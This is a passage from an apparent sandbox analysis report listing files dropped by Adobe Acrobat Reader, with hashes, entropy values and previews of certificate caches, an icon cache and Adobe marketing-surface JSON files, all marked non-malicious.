SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7026607670363667
Encrypted:	false
SSDEEP:	3:kkFklUl/oXfllXlE/HT8kzSzvNNX8RolJuRdxLlGB9lQRYwpDdt:kKNl/pT86QNMa8RdWBwRd
MD5:	339F54A6BE74A7CA069EC792B70F6782
SHA1:	A404F979B51C18B38D23BA910E83798FB9E7879C
SHA-256:	BF8AD754FFE2DB60226E36FE4B780AB74E8CA92B2F583E912308A2178331F1FA
SHA-512:	6FA7D516C47DAB5056672401B38E97B9BBC89F15E3CF637FF27130112197B2DBE9A92595E25F3F194CFE27760EF1BA3C759E49AD8BBC252E8FB60A1B829043DF
Malicious:	false
Preview:	p...... ...........)Ds..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2421047741749685
Encrypted:	false
SSDEEP:	6:kKp9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:QDImsLNkPlE99SNxAhUe/3
MD5:	90C3C23195D323CB650356C7541447E2
SHA1:	C8FA22DC0C5F1B0DE74591816B4EE7738C34827B
SHA-256:	90B7FE1F7D9862095AB1F0C55C4A77C9ADABE0CDEF5FAE43D8365FB374D77D6D
SHA-512:	BACC0249437CECEAA40C61E4B26561A64EFD5CD07321FC74680C694A9B9184186535FC61BEC30253F369446C8B0C0C10A759F933BE540B4714608D0EE7E25F91
Malicious:	false
Preview:	p...... ...........MDs..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	247234
Entropy (8bit):	3.3245480448633247
Encrypted:	false
SSDEEP:	1536:mKPCPiyzDtrh1cK3XEivK7VK/3AYvYwgqUrRo+RQn:TPClJ/3AYvYwglFo+RQn
MD5:	F7B75939ED43CD13BC5FA5A7E72C9C16
SHA1:	2FB9185CFEB8001598A301C83ECA9948420007ED
SHA-256:	2D50A4E5C21D7154373C0DF9DAF523FF54E48551510828BDD08D0E3B24125055
SHA-512:	E7AB73FFC3402C06D67410C52140A801A7FCBA9B8D248F6C6A069A31FB14437B347BB2973DE361B395E49E50A0A11E515F3E9EC1A73B568421B64E059B883758
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.366173818926622
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJM3g98kUwPeUkwRe9:YvXKXyrrcWWZc0vVGMbLUkee9
MD5:	C866FB88204B2A6A40E34A1CC305145C
SHA1:	98E298E9BAA62CFE6392AA21800B4CBA6999E13E
SHA-256:	67187FA7E560B5DCD7F39EFF3B9336E949DC651DF04B7B4EDBC30EBB4ACAD594
SHA-512:	F644D0EA5580044431D6A9112547688B455C33110DAF015DEBE3A77F4BD21B105B9215E24178AC3CBFE572BA36BCD5EE826C8887F389FC1AC3B85F9344612253
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.312540712665103
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJfBoTfXpnrPeUkwRe9:YvXKXyrrcWWZc0vVGWTfXcUkee9
MD5:	B246BD6274C80843E4FDBEBACB1F1FB2
SHA1:	2C8900B3D649F772875E5112D43A8619BC4987E3
SHA-256:	A33BB8662C296AD3C5CEA1E0DECEFCC4928A59116B1FC8F6DFF6C00FF5243948
SHA-512:	97D039D5C9117A00A3783E14938157343BE189B120E74BAAD19CC40DC2EEDCCDD8668F9552676DF9C216649D57C7C921C6BD5E9333BA6DD5C2CBED350E957DB6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.291620176870064
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJfBD2G6UpnrPeUkwRe9:YvXKXyrrcWWZc0vVGR22cUkee9
MD5:	317488B21507AA67894F4D7DB212698B
SHA1:	6120512F2B08181D9F4AD22CA6CD12E37EEDF248
SHA-256:	21F0577DD65DE8BA70028E584A561C8FBB8E14741158660D4290B4528229A5A5
SHA-512:	9D412A424CE10FB16482992A19DF6754BF94A5AFA82FC23C3C6433DBEAE86698C1AEA2FA7C5AF7740519B4D22DEE0BE582908F32DF2FFEAC35E63D2769CE249F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.353282936792288
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJfPmwrPeUkwRe9:YvXKXyrrcWWZc0vVGH56Ukee9
MD5:	74E8F81A32F33E44BE610CA0C198620C
SHA1:	44451FE8516744F9C02228EAE9BF8186E2B79D6B
SHA-256:	D363F0855DE7A12F6D40FCA57A32DBBC545387879895AE67693D23BCE071E121
SHA-512:	15B152E2B5F3D7E0052B96C787E55B492F2172210F8560F18F2480EF4A3BBBA924C3EFE1BFAC8E355692E4DDD65A3BB5C5B8F8865CE18D869AB2052194B61B90
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683791522458342
Encrypted:	false
SSDEEP:	24:Yv6Xyyzv6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSR:YvIShgy6SAFv5Ah8cv/R
MD5:	57934E7CFB21124090E8452D64732AD9
SHA1:	33826CC838DC204ACF8E6CEA254D76C1C20829A5
SHA-256:	282BBBA7AE93A68045931937D61F7716AFD09632F71376D4C8F95F2E0E4267E7
SHA-512:	AA050B2FB4F6D8867A0B1FF8604D5C489E5C594344BC434DEEFE12B6866F9417135E7A0D9D44C2194B9D9FD30DAF20FAE7D979A6E203C92FAF7B5633B5C434CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296162305184505
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJf8dPeUkwRe9:YvXKXyrrcWWZc0vVGU8Ukee9
MD5:	72D001B7982E20D302884831E8FEF8E2
SHA1:	D04267BC41AB3FB442D7BE4629356A41495E91C6
SHA-256:	D03D87113AC040D7BBD9A2D1D600774C7E15892B5C6AE575FEBB60F84F95A359
SHA-512:	660C5ADF6AB37B7C9F9D5FB7C076AC6D40C867B284D4E9675E424899CD51E12E9C574A90B82132D04D67D74E3FC74F45DE4F91700C2876DFCB9C2E63318C91D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.299567583503475
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJfQ1rPeUkwRe9:YvXKXyrrcWWZc0vVGY16Ukee9
MD5:	178B7FF91ED7AF874394FE1596A24AFB
SHA1:	107FEFAE8373388B5553C255591AC0BD0A9F8B3E
SHA-256:	D2946FB8038026C1E074EABDE0D59D8A2B60FC8F2052E0BCCA72DB8C31EB380A
SHA-512:	989464DF9B280148433462EB4E50C79E3F861A439D36681ACD9E079792EA035D69119D5155CB383F1808CF2E1C081E02F32E888AEAA84DF3D6BCDD5FEC9724B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304629489864109
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJfFldPeUkwRe9:YvXKXyrrcWWZc0vVGz8Ukee9
MD5:	EA57E1D7BA829E23FC2BBC4C3DD12815
SHA1:	86DB6581C213E7089348D582F11BE2111A6CB593
SHA-256:	E8C166D0EBCC100D6152115C0056ADD4D9ECE1623B2509B88EA4C6233BD9FB7A
SHA-512:	F58EDBC2AC42A4DC42AFEB2FF360E869C8BD84D08778D608E700D2BDB5D7671726DF87D67E4B1F58E0B3848FDEE2F3B8DA286F827685B938DFA2D453491BBC47
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.321230154634485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJfzdPeUkwRe9:YvXKXyrrcWWZc0vVGb8Ukee9
MD5:	A965D376EA1C67B94FC695255CD64C70
SHA1:	01DBD74B74B43052F7E4D6667110B93DED26EF01
SHA-256:	B3730128D47BE416849AAA2BBBFD8389F58DA0EEA09350A18AE447446ECF7B21
SHA-512:	0F128041E3D6C3E1888042B0BF7226C7BD61DB3594DA79DA643093F2C40C3B5BA2C2652333F7189522C6B9B063DCFCE6E226A025C67A564A0C0B4738C5B6BDAC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301912648973207
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJfYdPeUkwRe9:YvXKXyrrcWWZc0vVGg8Ukee9
MD5:	F13270E795303230F6EBE1EFA21239A9
SHA1:	FB391FD84384583AC40A6461A2C27F3E48759B69
SHA-256:	0100B4FEF93169B5FF7348794D40DEF2AF65A60001C7471D613E401CD036FA2B
SHA-512:	23F84804EF1D763C7BB4E5678828841430EABE87FB9A14E56B5B794CDE5453901293395B91F48134F45E08CFB66D95B06FD901615D82216F6A538749783855A3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.288845536183156
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJf+dPeUkwRe9:YvXKXyrrcWWZc0vVG28Ukee9
MD5:	789D9E2AE2AD5B6ACC87E3ED6A28133B
SHA1:	20F39E405CD8DEA0CC0A25C994E1FB1BE11AAC6C
SHA-256:	B46E7E0D9098E1D9DBDE7AC6C7930C2327A74967E2BBD4D279BCE65EC64FD60B
SHA-512:	B43B2BC2C376BB0C20C7A5930E62AFF23835F9210E62BE6A3E8A269FB91102A24B05E212AB91F0163E4ACEA93D1B2DF826BFDF82C99BBD751E45CD669574514E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.285446601293303
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJfbPtdPeUkwRe9:YvXKXyrrcWWZc0vVGDV8Ukee9
MD5:	D26721926CB2E9CE4526870A4B5BF546
SHA1:	ED1019671F6CB8533EF22C2AEE50ABFCE2BD754D
SHA-256:	6A024357BA46B41B2998FB04A252ADBA236403EE1821AC88914CFB4EED92A1EF
SHA-512:	48D1AA950B03752D398C0CF3245997710F4B941FF65113F5135AE9F45CED2ECB81964EDB2BECD1C4D0FC22F0748B4533ABAED0D1B667C0270388EE8E82E0FF67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.290124527847569
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJf21rPeUkwRe9:YvXKXyrrcWWZc0vVG+16Ukee9
MD5:	9002595C07BDA133BD918CDB8F687FE9
SHA1:	549220707FA84F4A792626385742AA72D5413250
SHA-256:	D137D213214698EDDB8C0758182751259F6E0E2FF0BCB3AFCC61778A355DB048
SHA-512:	2F08318466F9F636E7A7E47E06D7571C7811DEE7380B35067C32C0472D56ED96C2D6092C6878F52BE23C0ACF3C828FC8637185CE2773632769475F31C714380F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660231376776965
Encrypted:	false
SSDEEP:	24:Yv6XyyzvmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSR:YvIQBgkDMUJUAh8cvMR
MD5:	F2C82543C76AEB89D35244978445914F
SHA1:	FE1A8FC042430D9949F35BF634F9904449245686
SHA-256:	91C690CE4155FF21F8E9BEDED6824235EA94EEF3713279D9DE3C335A94BA8753
SHA-512:	8EA8B7974EF722AC3D2637D5270D138F3D7E33BF6ACD1BFC15658BC151BE8DED9605E78874CCA137A64DAC06DCB21B0ADC41A4E9C2BDCC95B330AF8EB81E6AA6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.265473945418879
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJfshHHrPeUkwRe9:YvXKXyrrcWWZc0vVGUUUkee9
MD5:	D730F6708AC6CA94FB3E71485C60226D
SHA1:	E4E052CD24F3C9D4820BDC56EBB172206A0F0E6F
SHA-256:	D08C6CA09449CF5C0FEE3CEB439BA2C0ABD81346586365365F5429B731568A64
SHA-512:	64B962B35A5C022CCD9C2127D7D55D0AFA216BF16E488FF7C64540BEE6D84B4CD8A95E8F46EEACD6DA45D9D6DE2224B9AFA315B8479F50F5C20947523B079EA9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.280413433352215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyIWX7SFWnVoZcg1vRcR0Yq+xoAvJTqgFCrPeUkwRe9:YvXKXyrrcWWZc0vVGTq16Ukee9
MD5:	4BF76BE019B13FCC33AEC523882A6096
SHA1:	B4D77C1FAEC8DDA1DA837D0270E0D3069D0C8456
SHA-256:	36AB111DD7F6942C01B6E474BAE086BBA3185ADB5A93B783EA58A4F569C6B4CA
